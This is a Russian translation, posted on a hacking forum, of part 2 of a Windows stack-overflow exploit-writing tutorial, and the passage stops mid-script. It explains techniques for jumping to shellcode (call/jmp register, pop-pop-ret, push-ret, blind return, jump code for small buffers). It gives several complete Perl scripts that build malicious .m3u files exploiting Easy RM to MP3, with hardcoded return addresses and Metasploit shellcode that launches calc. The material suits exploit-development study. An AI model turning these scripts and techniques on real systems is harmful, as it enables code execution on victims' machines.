• XSS.stack #1 – первый литературный журнал от юзеров форума

Techniques Part 2: Jumping to shellcode [RUS]

p(eaZ

RAID-массив
Пользователь
Регистрация
03.04.2011
Сообщения
81
Реакции
4
Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaz
5/2011

В предыдущей части руководства (Part1: Stack Based Overflows), я объяснял основы по использованию информации о найденной уязвимости в целях создания собственного эксплойта. На примере из предыдущей части, мы видели, что ESP указывал на начало нашего буфера (стоило лишь добавить 4 байта к шеллкоду), и мы использовали команду “jmp esp”, чтобы заставить выполниться шеллкод.

Примечание: Эта часть руководства полностью связана с первой частью, поэтому перед дальнейшим прочтением вам необходимо с ней ознакомиться.

Способ с использованием “jmp esp”, был прост и идеален. Но так легко будет далеко не всегда. Сегодня мы поговорим и о других способах выполнения/перехода к шеллкоду, и наконец о том, как вам следует поступать, если вы столкнулись с маленьким размером буфера.

Есть множество способов заставить шеллкод выполниться:
  • jump (или call) - перейти к…/вызвать регистр, который указывает на шеллкод. Суть этой методики в том, что вы используете регистр, который содержит адрес шеллкода, и помещаете его в EIP. Вам необходимо найти код "jump" или "call" к регистру в одной из dll’s, которые загружаются, либо доступны при запуске/работе приложения. Ваша полезная нагрузка (payload) должна перезаписать EIP адресом содержащим команду ”jump to the register”. Естественно, сработает это только тогда, когда один из доступных регистров содержит адрес шеллкода. Эту технику я описал в первой части руководства, так что не будем заострять на ней внимания.
  • pop return - если ни один из регистров не указывает на шеллкод, но сам адрес на него появляется в стеке (первый адрес, второй адрес, … адрес шеллкода), то вы можете попытаться передать его в EIP при помощи команд “pop ret”, или “pop pop ret”, или “pop pop pop ret” (количество “pop” зависит от того, каким по счету в стеке находится адрес шеллкода).
  • push return - этот метод очень похож на метод “jump/call register”. Если вам не удается найти опкоды “call register” или “jump register”, вы можете просто поместить адрес в стек и затем сделать ret. Таким образом, вам неоходимо найти опкод “push register”,с идущим за ним “ret”. Найдя такую последовательность, и узнав её адрес, вы можете перезаписать им EIP.
  • jmp [reg + offset] - если есть регистр, который указывает на буфер, содержащий шеллкод, но не указывает на его начало, вы можете попытаться найти команду в одной из dll ОС или приложения, которая добавит необходимое количество байт(offset) к регистру и затем перейдёт к его выполнению. Я прибегаю к данному методу, как к “jmp [reg] + [offset]”.
  • blind return - в предыдущей части я пояснил, что ESP это указатель текущей позиции (вершины) стека. Команда ret 'вытолкнет' (pop) последнее значение (4 байта) из стека и запишет новый адрес ESP. Если вы перезапишите EIP адресом, который выполнит команду ret, вы сможете загрузить в EIP значение, сохраненное в ESP.
Если вы сталкиваетесь с ситуацией, при которой доступное пространство в буфере (после того, как перезаписан EIP) ограничено, но у вас есть много места до перезаписи EIP, то вы можете использовать jumpcode(код прыжка) в меньший буфер (который будет находиться до EIP), чтобы перейти к главной части шеллкода.
  • SEH – у каждого приложения есть обработчик особых ситуаций, который предоставляется операционной системой. Если само приложение не использует обработку особых ситуаций, вы можете попытаться перезаписать обработчик SEH вашим адресом и заставить его перейти к шеллкоду. Используя SEH можно сделать эксплойт, который сможет работать на различных платформах Windows, но для начала давайте кое-что проясним: суть в том, что, если вы пишите эксплойт, который не действует под каждой версией ОС, пэйлод(полезная нагрузка) может только уронить программу (и вызвать исключение). Если вам удастся объединить "обычный" эксплойт с SEH-ориентированныой техникой, вы сможете создать более надежный и многоплатформенный эксплойт. Следующая (третья) часть руководства, посвящена именно этой теме. Помните, что типичное стековое переполнение, при перезаписи EIP, может быть основано на SEH-ориентированном эксплойте, придавая ему больше стабильности и широкий размер буфера.
Методики, объясненные в этом документе, являются примерами. Цель данной части состоит в том, чтобы объяснить вам, что существуют различные способы выполнить шеллкод, и в иных случаях может быть применима одна из методик (а может быть и в комбинации с другой), чтобы заставить ваш код выполняться..

Возможно, существует еще больше методов, чтобы заставить пэйлод работать и работать надежно, но если вы владеете теми из перечисленных здесь, и если вы используете свой здравый смысл, вам удастся найти путь, уводящий вас от большинства проблем, при попытке сделать переход к вашему шеллкоду. Даже если методика, казалось бы, работает, но шеллкод не хочет выполняться, вы можете обратиться к помощи енкодеров(encoders) или изменить местоположения шеллкода, добавляя NOP’ы с нужной стороны. Это всё может вам сослужить.
Конечно, может быть и так, что уязвимость только приводит к аварийному отказу, и вообще не может быть эксплуатирована.

Что ж, давайте взглянем на практическую реализацию некоторых из упомянутых выше методик.

call [reg]
Если в регистре содержится адрес, который указывает на шеллкод, то вы сможете, выполнив call[reg], перейти к его выполнению. Иными словами, если ESP указывает на шеллкод (т.е., первый байт ESP является первым байтом шеллкода), то вы можете перезаписать EIP командой “call esp”, и шеллкод будет выполнен. Этот метод срабатывает со всеми регистрами и весьма популярен, потому что kernel32.dll содержит множество адресов с call[reg].

Небольшой пример: предположим, что ESP указывает на шеллкод, тогда мы ищем адрес, содержащий опкод ‘call esp’. Для поиска воспользуемся утилитой findjmp:

33743404.png


Затем, напишем эксплойт и перезапишем EIP адресом 0x7C8369F0.
На примере Easy RM to MP3 из первой части сего руководства известно, что мы можем указать ESP на начало нашего шеллкода, добавив 4 символа между местом, где перезаписываемым EIP и ESP. Теперь наш эксплойт будет выглядеть таким образом:
Код:
#!usr/bin/perl
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exp_call_esp.m3u";

my $junk= "A" x 26013; 
my $eip = pack('V', 0x7C8369F0);  #перезаписываем EIP на "call esp"
my $prependesp = "XXXX";  #добавляем 4 байта чтобы достать до ESP
my $shellcode = "\x90" x 25; #ноп-след

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

65430805u.png


pwned!

pop ret
Как написано выше, на примере Easy RM to MP3, мы изменили наш буфер таким образом, что ESP указал непосредственно на наш шеллкод. Что, если не будет ни одного регистра, который указывал бы на него?

В таком случае, адрес, указывающий на шеллкод, может уже находиться в стеке. Сделайте дамп ESP (d esp), и посмотрите на первые адреса стека. Если один из этих адресов указывает на ваш шеллкод (или буфер), то вы сможете убедиться, что используя “pop ret” или “pop pop ret” можно добиться следующего:
  • взять необходимый адрес из стека
  • перейти к этому адресу.
Методика “pop ret” применима, когда ESP+offset уже содержит адрес, который указывает на шеллкод. По дампу ESP может быть видно, указывает ли один из первых адресов в стеке на наш шеллкод, и используя “pop ret” (или “pop pop ret” или “pop pop pop ret”) выталкиваем его в EIP. Каждый “pop” будет выталкивать по одному адресу из стека, и поместив конечный адрес, указывающий на наш шеллкод, в EIP, мы победим =).

Есть и другое применение для “pop ret”: что, если вы управляете EIP, но не один из регистров не указывает на шеллкод, но он может быть найден, например, в смещении ESP+8. В таком случае, вы можете поместить “pop pop ret” в EIP, который перейдет к ESP+8. И если вы поместите указатель на jmp по тому адресу, то поток перейдет к шеллкоду.

Давайте проверим. Мы знаем, что нам необходимо 26013 байт прежде, чем будет перезаписан EIP, и что нам нужно еще 4 байта перед тем, как мы попадем в стек, где ESP указывает на (в моем случае) 0x000ffd38.

Мы представим ESP+8, как 7 нопов + 1 брейк, и таким образом длина нашего буфера не будет нарушена.

26013 «A» + 4 «XXXX» + первый разрыв(брейк) + 7 NOP’ов + второй разрыв(брейк) + NOP’ы имитирующие пространство для шеллкода. Давайте представим, что шеллкод начинается после второго разрыва. Наша цель состоит в том, чтобы сделать переход с первого брейка, на второй брейк (который представлен в байтах, как ESP+8 = 0x000ffd40).

Код:
#!usr/bin/perl
my $file= "test_pop_ret.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB"; #перезаписываем EIP
my $prependesp = "XXXX";  #четыре байта, чтобы достать до esp
my $shellcode = "\xcc"; #первый брейк
$shellcode = $shellcode . "\x90" x 7;  #добавляем 7 байт
$shellcode = $shellcode . "\xcc"; #второй брейк
$shellcode = $shellcode . "\x90" x 500;  #место для будущего шеллкода
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Выполнив данный perl-скрипт, запустим полученный файл в конвертере. Приложение упало из-за буферного переполнения. Мы перезаписали EIP на “BBBB”. ESP по адресу 000ffd38 (который начинается с первого разрыва), следом идут 7 NOP’ов, и затем мы видим второй разрыв, который в действительности является началом нашего шеллкода (и находится в адресе 0x000ffd40).

52101091.png


Следующая наша цель состоит в том, чтобы получить значение ESP+8 в EIP (и обработав это значение, выполнить шеллкод). Мы будем использовать “pop, ret” технику + “jmp esp”, чтобы достигнуть этой цели.
Один POP выталкивает 4 байта с вершины стека. Таким образом, указатель вершины стека указал бы на 000ff734. Выполнение следующего POP вытолкнуло бы еще 4 байта с вершины стека. ESP указывал бы на 000ff738. После выполнения команды RET, значение из ESP, помещается в EIP. Так, если бы значение в 000ff738 содержало адрес на “jmp esp”, то, именно это выполнил бы EIP. Буфер после 000ff738 должен будет содержать наш shellcode.

Мы должны найти гне-нибудь последовательность “pop, pop, ret”, и переписать EIP адресом первой части этой последовательности. Также, мы должны установить ESP+8 в адрес “jmp esp”, сопровождаемый шеллкодом.

Прежде всего, мы должны узнать код операции “pop, pop, ret”. Воспользуемся для этого ассемблерным функционалом windbg, чтобы его получить:

47338671.png


Видим, что опкоды для “pop pop ret” будут 0x58, 0x5d, 0xC3.
Конечно, вы можете использовать pop и для других регистров, но тогда и опкод будет другим:

29664622.png


Теперь мы должны найти эту последовательность в одной из доступных dll. В первой части руководства мы использовали dll приложения вместо dll операционной системы. Я рекомендую использовать dll приложения, потому что это повышает качество и надежность эксплойта, и применимость его на других версиях Windows. Но, Вы все равно должны проверять используемые адреса базовых библиотек dll. Иногда, случается так, что dll «перестраивается», и в таких случаяъ лучше использовать одну из dll операционной системы, например user32.dll или kernel32.dll.

Запустите Easy RM to MP3 и подключите к процессу windbg.

Отладчик покажет загруженные модули, как операционной системы, так и модули самой программы. (обратите внимание на строки, которые начинаются с ModLoad).

Вот dll нашей программы:

59042966.png


Вы должны избегать использования адресов, которые содержат нулевые байты (т.к. это усложнит работу эксплойта).

Поиск в MSRMCcodec00.dll даст нам некоторые результаты:

11541967.png


Отлично, теперь мы сможем перейти к ESP+8. В той области мы должны поместить адрес “jmp esp” (потому, что RET возьмет этот адрес из той области и поместит его в EIP. В той точке ESP адрес укажет на наш шеллкод, который расположен правее, после адреса “jmp esp).

В первой части руководства мы узнали, что 0x01def23a относится к “jmp esp”.

Хорошо, вернемся к нашему perl-скрипту, и заменим “BBBB” одним из 3-х полученных нами адресов инструкции “pop, pop, ret”, перед которым на 8 байт будут идти NOP’ы (только в экспериментальных целях) следом адрес “jmp esp” , и затем сам шеллкод.

Буфер будет выглядеть следующим образом:

39615740.png


Поток эксплойта будет выглядеть следующим образом:
  • EIP перезаписан на “pop, pop, ret” (этот пример не имеет никакого отношения к SHE-эксплойтам. Мы только хотим поместить значение из стеке в EIP). Область ESP начинается с8-байтового смещения к шеллкоду.
  • “pop,pop,ret”, выполняется. EIP перезаписывается на 0x01def23a (адрес, который был найден в ESP+0?8). ESP теперь указывает на шеллкод.
  • Так как EIP перезаписан адресом “jmp esp”, следующий шаг начнет выполнение шеллкода.
90693226.png


Мы смоделируем этот процесс при помощи разрывов (брейкпоинтов) и нескольких NOP’ов (имитация шеллкода), таким образом проследим за работой переходов.

Код:
#!usr/bin/perl
my $file= "test_pop_pop_ret.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01bb6a10); #адрес pop pop ret из  MSRMfilter01.dll
my $jmpesp = pack('V',0x01def23a); #jmp esp

my $prependesp = "XXXX";  
my $shellcode = "\x90" x 8;
$shellcode = $shellcode . $jmpesp;  #возврат через pop pop ret ( = jmp esp)
$shellcode = $shellcode . "\xcc" . "\x90" x 500;  #реальный шеллкод

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

52648834.png


Работает.

Теперь давайте заменим NOP’ы после jmp esp (ESP+8) реальным шеллкодом (несколько NOP’ов + шеллкод, закодированный в alpha_upper) (выполнит calc):

Код:
#!usr/bin/perl
my $file= "real_pop_pop_ret_exp.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01bb6a10); #адрес pop pop ret из  MSRMfilter01.dll
my $jmpesp = pack('V',0x01def23a); #jmp esp

my $prependesp = "XXXX"; 
my $shellcode = "\x90" x 8;
my $shellcode = $shellcode . $jmpesp;  #возврат через pop pop ret ( = jmp esp)

$shellcode = $shellcode . "\x90" x 50;  #реальный шеллкод + 50 нопов
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

29818006.png


pwned!

push return

“push ret” метод немного похож на call[reg]. Если один из регистров указывает на шеллкод, но по каким-либо причинам вы не можете использовать jmp[reg], чтобы перейти к нему, то можно
  • поместить адрес того регистра в стеке. Он попадет на вершину стека.
  • ret заберет этот адрес из стека и перейдёт к нему
Чтобы это осуществить, вы должны перезаписать EIP адресом последовательности “push[reg]+ret”, который можно найти в одной из dll.

Предположим, что шеллкод расположен в ESP. Тогда вам необходимо найти опкоды для ‘push esp’ и ‘ret’.

55167423.png


Видим опкоды 0?54 и 0xc3.
Найдём адреса, содержащие данную последовательность в dll программы:

67376118.png


Берем первый адрес и вписываем его в эксплойт. Запускаем и проверяем в действии:

Код:
#!usr/bin/perl
my $file= "push_ret_exploit.m3u";
my $junk= "A" x 26013;

my $eip = pack('V',0x01ba57f6);

my $prependesp = "XXXX";

my $shellcode = "\x90" x 25;

# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc

$shellcode = $shellcode . "\x89\xe2\xda\xc1\xd9\x72\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

79312048.png


jmp [reg]+[offset]

Другая техника, которая может решить проблему, при которой шеллкод начинается со смещения регистра, попытаться найти инструкцию “jmp [reg + ret]”, и перезаписать EIP её адресом. Давайте предположим, что мы снова должны перепрыгнуть 8 байт (см. предыдущие примеры). Используя методику “jmp reg+offset”, мы просто перепрыгнули бы через 8 байтов в начало ESP(в область нашего шеллкода).

Мы должны пройти 3 этапа:
  • найти опкод для “jmp esp+8h”
  • найти адрес, который указывает на эту инструкцию
  • обработать эксплойт, таким образом, чтобы он переписал EIP этим адресом
Ищем опкоды используя windbg:

61342437.png


Опкод: ff642408.

Теперь вы можете найти dll, в которой присутствует этот опкод, и использовать его адрес, чтобы переписать им EIP. В нашем примере я не смог найти этот опкод. Но вы не ограничены поиском одной лишь инструкции “jmp [esp+8]”. Можно попытаться найти значения со смещением, больше чем 8, после чего, просто поместить дополнительные NOP'ы в начале шеллкода и прыгнуть на них.

blind return

Эта техника основана на следующих этапах:
  • перезаписать EIP адресом, указывающим на “ret” инструкцию
  • закодированный адрес шеллкода разместить в первых 4 байтах ESP
  • когда выполнится RET, последние добавленные 4 байта (вершина стека) выталкиваются в EIP
  • происходит переход на шеллкод
Эта техника полезна, если: вы не можете указать EIP, чтобы он перешел к регистру, т.к. нет возможности использовать “jmp” или “call” инструкции. Это значит, что необходимо поместить закодированный адрес памяти шеллкода в первые 4 байта ESP, т.к. мы имеем к ним доступ и можем их перезаписать.

Чтобы это осуществить, у вас должен быть адрес памяти шеллкода (= адрес ESP). Как обычно, пытайтесь избегать наличия нулевых байтов в адресе. Если шеллкод может быть помещен в какую-либо область памяти, и адрес этой области не содержит пустых байтов, то эта техника может сработать.

Найдите адрес “ret” в одной из dll.

Установите первые 4 байта ESP в значение адреса, где начинается шеллкод, и перезапишите EIP адресом ret инструкции. Из тестов, которые мы сделали в первой части руководства, мы помним, что ESP начинается c 0x000ffd38. Этот адрес содержит пустой байт(0x00), поэтому мы создаем буфер, который похож на это:

[26094 A][адрес ret][0x000ffd38][shellcode]

Проблема состоит в том, что адрес, используемый для перезаписи EIP, содержит пустой байт, таким образом, шеллкод не попадет в ESP. Это - проблема, но не тупик. Иногда вы можете найти свой буфер (смотрите на первые 26013 A - те, которые идут до перезаписи EIP, так же как и до нулевого байта) позади, в другой области памяти или регистрах, таких как EAX, EBX, ECX, и т.д. В таком случае, вы можете попытаться поместить адрес того регистра, как первые 4 байта шеллкода (в начале ESP, после перезаписи EIP), и все еще переписать EIP адресом “ret” инструкции.

Это техника, у которой есть много зависимостей и недостатков, которые требует ret-инструкция. В любом случае, эта техника не сработает с Easy RM to MP3.

Маленький буфер: прыжок с использованием jump-кода.

Мы говорили о различных способах перехода EIP к нашему шеллкоду. Во всех сценариях у нас было достаточно места для того, чтобы поместить шеллкод в одну из частей буфера. Но что, если окажется так, что у нас не достаточного места, для размещения всего шеллкода?

В наших упражнениях мы использовали 26013 байт прежде, чем перезаписывали EIP, и мы заметили, что ESP указывает на 26013+4 байта, и то, что у нас было много места впереди, после этой точки. Но что, если у нас было бы впереди, например, всего 50 байт (ESP+50)? Что, если наши тесты показали бы, что все, что было написано после тех 50 байтов, не применимо? 50 байт для того, чтобы поместить в них реальный шеллкод не достаточно. Таким образом, мы должны найти другой путь. Мы можем использовать для этих целей те самые 26013 байта, которые использовались для переполнения.

Во-первых, мы должны найти эти 26013 байта в памяти. Если мы не можем их найти, то будет невозможно сослаться на них. Фактически, если мы сможем найти эти байты и узнать, что в нашем распоряжении есть другие регистры, то поместить туда наш шеллкод будет весьма просто.

Если поэксперементируете с Easy RM to MP3 в отладчике, то вы, возможно, заметите, что часть из 26013 байт видна в дампе ESP:

Код:
#!usr/bin/perl
my $file= "test_jumping.m3u";
my $junk= "A" x 26013;
my $eip = "BBBB";
my $preshellcode = "X" x 54;  #представим, что это единственное доступное для шеллкода место 50 байт + 4 байта до ESP
my $nop = "\x90" x 230;  #добавим нопов для взульного отделения нашей области от остальных данных программы

open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";

После запуска test_jumping.m3u, получим:

31549855.png


Мы видим свои 50 X в ESP. Давайте представим, что это - единственное место, доступное для шеллкода. Однако, если мы посмотрим ниже, то увидим заднюю часть буфера, A-массив идущий от адреса 000ffe51 (=ESP+281).

Взглянув на другие регистры, мы не увидим никаких следов от X или A.
Мы можем перейти к ESP, чтобы выполнить какой-либо код, но у нас есть только 50 байт доступного места, чтобы записать шеллкод. Мы также видим другие части нашего буфера в более нижней позиции в стеке … фактически, когда мы продолжим дамп ESP, мы увидим огромный буфер из множества A.

78835879.png


К счастью нашлось место для размещения шеллкода в множестве A, а использовать X мы будем для того, чтобы перейти к этой области. Для этого нам необходимо:
  • позиция в буфере с 26013 A, которая является теперь частью ESP, в 000ffe51 (если мы хотим поместить наш шеллкод в область А-массива, мы должны знать, куда точно он должен быть помещен)
  • “Jumpcode”: код, который осуществит переход от иксов(X) к A-массиву. Этот код не может быть больше чем 50 байт, потому что это все, что у нас есть.
Мы будем использовать один из шаблонов metasploit для поиска необходимой позиции, являющейся частью ESP. Сгенерируйте шаблон, скажем, в 1000 символов, и замените первые 1000 символов в сценарии языка Perl шаблоном (и затем добавьте 25013 A’s)

Код:
#!usr/bin/perl
my $file= "test2_jumping.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab".
"7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
"Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1A".
"g2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai".
"4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6".
"Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8A".
"m9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap".
"1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3".
"Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5A".
"t6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av".
"8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0".
"Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2B".
"a3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc".
"5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7".
"Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25013;
my $eip = "BBBB";
my $preshellcode = "X" x 54; 
my $nop = "\x90" x 230;

open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";

85941556.png


То, что мы видим в 000ffe51, является частью шаблона. Первые 4 символа “5Ai6”.

Используя metasploit pattern_offset утилиту, мы увидим, что эти 4 символа находятся в 257 позиции (смещении) нашего шаблона. Так вместо того, чтобы поместить 26013 A в файл, мы поместим 257 A, следом наш шеллкод, и далее снова 26013 символов A . Или еще лучше, мы запустим только с 250 A, следом 50 NOP’ов, далее наш шеллкод, и остаток заполним А-массивом. В этом случае, если мы допустим небольшую погрешность и попадем не на шеллкод, а в ноп-след, это не будет ошибкой, т.к. поток пройдём по нопам и попадёт в шеллкод.

Давайте настроим для этого наш perl-скрипт:

Код:
#!usr/bin/perl
my $file= "test3_jumping.m3u";
my $buffersize = 26013;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 54;  
my $nop2 = "\x90" x 230;  

my $buffer = $junk.$nop.$shellcode.$restofbuffer;

print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");
